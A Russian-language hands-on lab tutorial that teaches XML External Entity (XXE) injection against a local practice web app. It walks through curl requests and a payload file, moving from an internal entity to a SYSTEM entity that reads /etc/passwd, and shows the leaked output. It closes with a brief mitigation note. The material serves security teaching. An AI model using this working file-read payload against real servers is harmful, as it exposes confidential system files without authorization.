Введение
В этой лабораторной работе вы познакомитесь с инъекцией внешних XML-сущностей (XXE) — уязвимостью веб-безопасности, которая позволяет злоумышленнику вмешаться в процесс обработки XML-данных приложением.
Суть XXE заключается в поведении парсера. Приложение «думает», что оно просто обрабатывает данные, но XML-парсер в это же время выполняет дополнительные инструкции, встроенные в формат этих данных.
Когда веб-приложение анализирует XML-ввод, не отключив должным образом разрешение внешних сущностей, злоумышленники могут определять пользовательские сущности, указывающие на локальные файлы на сервере. Внедряя такие вредоносные сущности в XML-полезную нагрузку, атакующий может заставить сервер прочитать конфиденциальные файлы (например, /etc/passwd) и вернуть их содержимое в HTTP-ответе. Вы примерите на себя роль специалиста по безопасности, чтобы найти XML-эндпоинт, создать вредоносную нагрузку и успешно извлечь системные файлы.
Определение обработки XML-данных
На этом этапе мы будем взаимодействовать с локальным веб-приложением, подготовленным для этой лабораторной работы. Приложение запущено на 127.0.0.1 на порту 5000 и имеет эндпоинт /process, который принимает XML-данные.
XML (eXtensible Markup Language) — это популярный формат, используемый для структурирования и передачи данных между клиентом и сервером. Прежде чем мы сможем эксплуатировать уязвимость XXE, нам нужно подтвердить, что приложение действительно обрабатывает XML-ввод и возвращает нам распарсенные данные.
Это первое подтверждение важно, так как XXE возможна только тогда, когда действительно происходит парсинг XML. Многие эндпоинты принимают текст, но не все из них обрабатывают тело запроса как XML.
Мы воспользуемся инструментом командной строки curl для отправки HTTP POST-запроса на сервер. POST-запрос отправляет данные приложению, а заголовок Content-Type: application/xml указывает серверу интерпретировать эти данные как XML, а не как обычный текст или JSON.
Выполните следующую команду в терминале, чтобы отправить базовую XML-нагрузку:
curl -X POST -H "Content-Type: application/xml" -d '<root><name>LabEx User</name></root>' http://127.0.0.1:5000/process
Вы должны увидеть вывод, похожий на этот:
Hello, LabEx User!
Этот вывод подтверждает две важные вещи. Во-первых, приложение успешно распарсило наши XML-данные. Во-вторых, приложение извлекло текст внутри тега <name> и отразило его в ответе. Это отражение (reflection) критически важно, так как оно дает нам возможность увидеть результаты работы наших внедренных сущностей позже.
Перехват XML-запроса
В реальном тестировании на проникновение исследователи безопасности часто используют прокси-инструменты, такие как Burp Suite, для перехвата и изменения веб-запросов. Поскольку мы работаем полностью в терминале, мы сымитируем этот процесс, сохранив нашу XML-нагрузку в локальный файл. Это значительно упрощает редактирование и внедрение сложных многострочных XML-структур, избавляя от необходимости бороться с экранированием символов в командной строке.
Перенос нагрузки в файл — это не просто удобство. Это делает сложный структурированный ввод более понятным и легким для редактирования, что важно, когда сам синтаксис влияет на эксплуатацию.
Давайте создадим файл с именем payload.xml в нашей текущей директории (~/project). Мы воспользуемся текстовым редактором nano для создания и редактирования этого файла. Если вы раньше не работали с nano, это простой терминальный редактор, который отлично подходит для небольших файлов, таких как эта нагрузка.
Откройте редактор командой:
nano payload.xml
Введите или вставьте следующую стандартную XML-структуру в файл:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>Security Tester</name>
</root>
Сохраните файл и выйдите из редактора (в nano нажмите Ctrl+O, затем Enter для сохранения, и Ctrl+X для выхода).
Теперь отправим этот файл на сервер с помощью curl. Символ @ указывает curl прочитать данные из указанного файла, вместо того чтобы воспринимать строку буквально.
Выполните следующую команду:
curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process
Вы должны увидеть следующий вывод:
Hello, Security Tester!
Перенеся нашу нагрузку в файл, мы подготовили чистое рабочее пространство для создания XXE-инъекции на следующих этапах.
Определение внешней сущности (DOCTYPE)
Теперь, когда у нас есть рабочий XML-файл, мы можем начать манипулировать его структурой. XML позволяет разработчикам определять пользовательские переменные, называемые «сущностями» (Entities), внутри определения типа документа (DOCTYPE). DOCTYPE — это дополнительная секция в начале XML-документа, которая описывает правила или повторно используемые значения для парсера.
Сущность работает как ярлык. Если вы определите сущность с именем test и значением Injected Data, то каждый раз, когда вы напишете &test; в своем XML-документе, XML-парсер заменит это на Injected Data. Если парсер уязвим, он обработает эти пользовательские сущности без каких-либо проверок безопасности.
Этот безобидный пример важен, так как он доказывает, что расширение сущностей включено, прежде чем вы перейдете к внешним сущностям, основанным на файлах.
Давайте изменим наш файл payload.xml, чтобы включить объявление DOCTYPE и пользовательскую сущность.
Снова откройте файл:
nano payload.xml
Обновите содержимое файла, чтобы оно соответствовало следующему коду:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY test "Injected Entity Data">
]>
<root>
<name>&test;</name>
</root>
Сохраните файл и выйдите из nano (Ctrl+O, Enter, Ctrl+X).
В этой нагрузке мы определили сущность с именем test. Внутри тега <name> мы сослались на эту сущность, используя &test;. Давайте отправим эту обновленную нагрузку на сервер, чтобы проверить, разрешит ли он нашу пользовательскую сущность.
Снова выполните команду curl:
curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process
Вы должны увидеть следующий вывод:
Hello, Injected Entity Data!
Сервер успешно заменил &test; на нашу пользовательскую строку. Это доказывает, что XML-парсер активно разрешает сущности, а значит, с высокой долей вероятности он уязвим к инъекции внешних XML-сущностей (XXE).
Извлечение локальных файлов (/etc/passwd)
На предыдущем этапе мы определили внутреннюю сущность. Истинная опасность XXE возникает, когда мы определяем внешнюю сущность. Используя ключевое слово SYSTEM, мы можем дать указание XML-парсеру получить значение сущности из внешнего источника, например, URL или пути к локальному файлу.
Если XML-парсер веб-сервера настроен неправильно, он прочитает содержимое указанного нами файла и встроит его в XML-документ. Поскольку приложение отражает тег <name> обратно нам, мы сможем увидеть содержимое файла в HTTP-ответе. Именно поэтому отражение так ценно для атакующего: оно превращает невидимое чтение файла на стороне сервера в видимый вывод в браузере или терминале.
Мы попытаемся прочитать /etc/passwd — стандартный файл Linux, содержащий информацию об учетных записях пользователей. Этот файл доступен для чтения всем пользователям системы, что делает его распространенной целью для тестирования уязвимостей чтения файлов.
Откройте файл с нагрузкой в последний раз:
nano payload.xml
Измените определение сущности, чтобы использовать ключевое слово SYSTEM и указать на локальный файл с помощью протокола file://:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
</root>
Сохраните файл и выйдите из nano (Ctrl+O, Enter, Ctrl+X).
Теперь отправьте вредоносную нагрузку на сервер:
curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process
Если эксплуатация прошла успешно, сервер прочитает файл /etc/passwd и вернет его содержимое в ответе. Вы должны увидеть большой блок текста, похожий на этот:
Hello, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
labex:x:1000:1000::/home/labex:/bin/zsh
!
Поздравляем! Вы успешно использовали уязвимость внешних XML-сущностей для извлечения конфиденциальных локальных файлов с веб-сервера.
Резюме
В этой лабораторной работе вы узнали, как находить и эксплуатировать уязвимости внешних XML-сущностей (XXE). Вы начали с проверки того, что веб-приложение обрабатывает и отражает XML-данные. Затем вы научились определять пользовательские XML-сущности с помощью объявления DOCTYPE. Наконец, вы развили атаку, используя ключевое слово SYSTEM для создания внешней сущности, заставив XML-парсер сервера прочитать локальный файл /etc/passwd и вернуть его содержимое.
Чтобы предотвратить уязвимости XXE, разработчики должны убедиться, что их XML-парсеры настроены на полное отключение разрешения внешних сущностей и DTD (определений типа документа).



